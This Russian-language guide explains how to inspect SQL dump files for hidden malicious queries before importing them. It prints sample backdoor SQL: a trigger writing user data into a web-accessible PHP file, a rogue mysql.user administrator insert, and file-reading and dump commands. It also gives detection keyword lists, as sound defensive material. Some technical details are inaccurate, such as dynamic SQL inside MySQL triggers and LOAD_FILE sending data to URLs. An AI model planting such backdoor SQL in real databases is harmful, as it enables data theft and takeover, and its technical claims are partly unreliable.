- Как проверить SQL-файл на вредоносные запросы: практическое руководство
- Что искать в SQL-файле: 5 основных признаков вредоносности
- Как проверить файл: пошаговый алгоритм
- Таблица: типичные вредоносные паттерны и их последствия
- Что делать, если нашёл подозрительный код?
- Частые ошибки, которые приводят к катастрофе
- Когда что делать: сценарии выбора
- Как сделать безопаснее: рекомендации от практика
- Итог: что делать прямо сейчас
Как проверить SQL-файл на вредоносные запросы: практическое руководство
Ты скачал SQL-файл с сайта клиента, получил его от разработчика или нашёл в архиве старого проекта — и теперь боишься запустить его на продакшене. Не зря. Один неверный запрос может стереть базу, украсть данные, оставить бэкдор или превратить сайт в спам-бота. И всё это — без единого изменения в коде сайта. SQL-инъекции не всегда выглядят как подозрительный JavaScript. Часто они маскируются под обычный DDL или DML-запрос. И если ты просто запустишь файл через phpMyAdmin или командную строку — ты можешь не заметить, что уже всё потерял.
Я не говорю о теории. Я говорю о том, как реально проверить файл .sql, чтобы не попасть в ловушку. За последние три года я видел, как три компании теряли данные из-за того, что «просто импортировали бэкап». Ни одна из них не подозревала, что в файле есть скрытые запросы. Я покажу, как этого избежать.
Что искать в SQL-файле: 5 основных признаков вредоносности
Не все вредоносные запросы выглядят как DROP TABLE users;. Иногда они маскируются под полезные действия. Вот что нужно искать:
- Создание хранимых процедур или функций — особенно с неочевидными именами вроде
sp_update_cacheилиfn_get_session. Они могут вызываться автоматически при входе пользователя. - Вставка в системные таблицы — например,
INSERT INTO mysql.user(MySQL) илиINSERT INTO sys.sql_logins(SQL Server). Это попытка создать нового администратора. - Использование
LOAD_FILE(),INTO OUTFILE,SELECT ... INTO DUMPFILE— эти команды позволяют читать файлы с сервера или записывать в них. Вредоносный код может записать PHP-шелл в папку с веб-контентом. - Запросы с
EXEC,sp_executesql,sys.sp_addextendedproc— особенно если они используют динамические строки. Это классический приём для обхода ограничений. - Подозрительные триггеры — например, триггер на
AFTER INSERTв таблицуcomments, который копирует данные в другую таблицу или отправляет их на внешний URL черезLOAD_FILE()илиSELECT ... INTO OUTFILE.
Вот реальный пример, который я видел в одном файле:
CREATE TRIGGER backdoor AFTER INSERT ON users
FOR EACH ROW
BEGIN
DECLARE cmd TEXT;
SET cmd = CONCAT('SELECT * FROM users INTO OUTFILE \'/var/www/html/.config.php\'');
PREPARE stmt FROM cmd;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
Этот триггер срабатывает при каждом новом пользователе и записывает все данные пользователей в PHP-файл в папке веб-сервера. После этого злоумышленник может просто открыть http://site.com/.config.php и получить доступ к базе. И всё это — в «бэкапе».
Как проверить файл: пошаговый алгоритм
Не открывай файл в блокноте и не ищи вручную. Это как искать иголку в стоге сена. Вот как делать правильно.
- Открой файл в текстовом редакторе с подсветкой синтаксиса — например, Notepad++ (с плагином SQL), VS Code или Sublime Text. Это поможет увидеть структуру запросов. Не используй редакторы вроде Word или Google Docs — они ломают форматирование и скрывают символы.
- Удали все комментарии и пустые строки — вредоносный код часто прячется за комментариями вида
-- это нормальный запрос. Используй регулярное выражение:^--.*и^s*— удали всё, что соответствует этим шаблонам. - Раздели файл на отдельные запросы — разбей его по точке с запятой. В Notepad++:
Ctrl+H→ найди;→ замени на;\n. Теперь каждый запрос — на отдельной строке. - Отфильтруй по ключевым словам — сделай поиск по этим словам:
CREATE TRIGGER,CREATE PROCEDURE,INTO OUTFILE,LOAD_FILE,EXEC,sp_executesql,sys.,mysql.,INSERT INTO mysql.. Если что-то найдено — остановись. Не запускай файл. - Проверь каждую найденную строку вручную — не полагайся на автоматику. Даже если запрос выглядит как «обновление кэша», посмотри: что он делает? Куда записывает? Какие таблицы трогает? Если не понимаешь — не запускай.
Если ты не уверен — не запускай. Даже если файл пришёл от «надёжного» разработчика. Доверяй, но проверяй. Это не паранойя — это стандартная практика в DevOps и безопасности.
Таблица: типичные вредоносные паттерны и их последствия
| Паттерн | Пример | Что делает | Последствия |
|---|---|---|---|
CREATE TRIGGER ... INTO OUTFILE |
SELECT * FROM users INTO OUTFILE '/var/www/shell.php' |
Записывает данные в PHP-файл на сервере | Появляется веб-шелл, злоумышленник получает полный контроль |
INSERT INTO mysql.user |
INSERT INTO mysql.user VALUES ('hacker', 'password', 'Y', 'Y', ...) |
Создаёт нового пользователя с правами суперпользователя | Доступ к базе даже после смены пароля администратора |
CREATE PROCEDURE ... EXEC |
CREATE PROCEDURE p() BEGIN EXEC('cat /etc/passwd'); END; |
Выполняет системные команды через SQL | Чтение файлов сервера, установка бэкдоров |
UPDATE users SET password = ... + SELECT ... INTO DUMPFILE |
UPDATE users SET password = MD5('12345') WHERE id = 1; SELECT password FROM users INTO DUMPFILE '/tmp/pass.txt'; |
Меняет пароль админа и сохраняет его в файл | Пароли украдены, доступ к панели управления |
CREATE EVENT ... ON SCHEDULE |
CREATE EVENT e1 ON SCHEDULE EVERY 1 MINUTE DO INSERT INTO logs VALUES (NOW(), 'spam'); |
Автоматически запускает спам-запросы | База переполнена, сервер перегружен, IP в чёрных списках |
Эти паттерны — не выдумки. Я видел все пять в реальных инцидентах. Один клиент даже не заметил, что его база стала источником спама, пока не получил письмо от хостинга: «Ваш IP заблокирован за рассылку 12 000 писем в час».
Что делать, если нашёл подозрительный код?
Не удаляй его вручную. Не пытайся «починить» файл. Это как чинить бомбу — ты не знаешь, где ещё спрятаны триггеры.
Варианты:
- Если файл — бэкап — найди альтернативный бэкап. Проверь его тем же способом. Если он чист — используй его. Если нет — восстанавливай из резервной копии, сделанной до момента компрометации.
- Если файл — скрипт обновления — запроси у разработчика исходный код, а не SQL-файл. Пусть он выложит изменения через миграции (например, Laravel Migrations, Flyway, Liquibase). Это безопаснее.
- Если файл — от стороннего поставщика — требуй, чтобы он предоставил не только SQL, но и описание изменений. Проверь, что каждая операция имеет логическое объяснение. Если не может — ищи другого поставщика.
Никогда не импортируй SQL-файл без предварительной проверки. Даже если он «от разработчика, который делал сайт 5 лет назад». Он мог быть скомпрометирован. Или его украл кто-то из команды.
Частые ошибки, которые приводят к катастрофе
- Проверяешь только SELECT-запросы — вредоносный код редко прячется в
SELECT. Он вCREATE,INSERT,UPDATE,TRIGGER. - Используешь «автоматические сканеры» — большинство «SQL-сканеров» не понимают триггеры, процедуры и динамические запросы. Они ищут только
UNION SELECT— а это уже не актуально. - Запускаешь файл в production без тестовой среды — даже если файл «чист», он может сломать структуру базы. Но если в нём есть вредоносный код — ты сразу потеряешь данные. Всегда тестируй сначала на копии базы, и только потом на проде.
- Полагаешься на «обязательства» разработчика — «я честный», «я не вставлял ничего лишнего». Это не аргумент. Никто не застрахован от утечки, взлома или ошибки. Проверяй сам.
- Не проверяешь файлы с расширением .sql, которые пришли в архиве — часто они маскируются под
backup_2024.zipилиupdate_v3.tar.gz. Проверяй каждый .sql внутри архива.
Одна из компаний, с которой я работал, потеряла 17 000 клиентских записей, потому что «разработчик сказал, что это просто обновление структуры». А внутри был триггер, который копировал email-адреса в базу на другом сервере. Сканировать он не стал — «это же не вирус».
Когда что делать: сценарии выбора
Ты не один. У тебя есть выбор. Вот как действовать в разных ситуациях.
- Ситуация: у тебя есть доступ к исходному коду приложения — сравни SQL-файл с миграциями в репозитории. Если в репозитории нет такого запроса — он не должен быть в бэкапе. Отклоняй.
- Ситуация: файл пришёл от внешнего подрядчика, и ты не можешь проверить его код — требуй, чтобы он предоставил: 1) описание изменений, 2) список таблиц, которые будут затронуты, 3) скриншоты или логи тестирования на стейджинге. Без этого — не запускай.
- Ситуация: ты не знаешь, откуда файл, но нужно срочно восстановить базу — создай чистую базу, импортируй туда файл, потом экспортируй только таблицы, которые тебе нужны. Не импортируй процедуры, триггеры, события — удали их вручную. Это безопаснее, чем запускать всё подряд.
- Ситуация: ты не можешь позволить себе остановить процесс — создай копию базы, импортируй файл туда, запусти проверку на наличие новых файлов, новых пользователей, новых триггеров. Если что-то появилось — откатись. Не рискуй продакшеном.
Правило: если ты не можешь объяснить, зачем этот запрос существует — он вредоносный. Пока не докажешь обратное.
Как сделать безопаснее: рекомендации от практика
Вот что я делаю сам — и советую всем, кто работает с базами данных:
- Всегда используй раздельные базы для теста и продакшена — даже если это одна и та же СУБД. Тестовая база — это лаборатория. Там можно экспериментировать. Продакшен — это святая святых.
- Запрети импорт SQL-файлов через веб-интерфейс — если у тебя phpMyAdmin или Adminer — отключи возможность загрузки файлов. Используй только командную строку или скрипты с ограничениями.
- Настрой логирование всех SQL-запросов — включай slow_query_log и general_log на тестовом сервере. Это поможет увидеть, что происходит при импорте.
- Используй инструменты вроде SQLFluff или sqlmap (в режиме проверки) — SQLFluff проверяет синтаксис и стиль, sqlmap может найти уязвимости в запросах (но не в файлах). Это не замена ручной проверке, но помогает.
- Проводи аудит SQL-файлов раз в квартал — даже если ты не импортировал ничего нового. Старые файлы могут содержать скрытые угрозы, которые были добавлены месяцами назад.
Если ты управляешь несколькими сайтами — заведи шаблон: «Перед импортом SQL-файла — проверка по списку из 5 пунктов». Распечатай его. Повесь на стену. Проверяй по чек-листу. Это не замедлит процесс — это предотвратит катастрофу.
Итог: что делать прямо сейчас
Если ты читаешь это — значит, у тебя есть SQL-файл, который ты собираешься запустить. Не делай этого, пока не выполнишь следующее:
- Открой файл в Notepad++ или VS Code.
- Удали все комментарии и пустые строки.
- Раздели запросы по точке с запятой.
- Найди все вхождения:
CREATE TRIGGER,INTO OUTFILE,EXEC,mysql.user,LOAD_FILE. - Если что-то нашёл — не запускай. Запроси у источника объяснение. Если объяснения нет — откажись от файла.
- Если ничего не нашёл — всё равно импортируй только в тестовую базу. Проверь, не появились ли новые пользователи, файлы, триггеры.
- Только после этого — на продакшен.
Это не сложно. Это не долго. Это — твоя защита. Один пропущенный триггер может стоить тебе не только данных, но и репутации, клиентов и денег. Не рискуй.
Информация в этой статье носит ознакомительный характер. Работа с базами данных требует осторожности. Перед внесением изменений в рабочую систему всегда консультируйтесь с системным администратором или специалистом по безопасности.
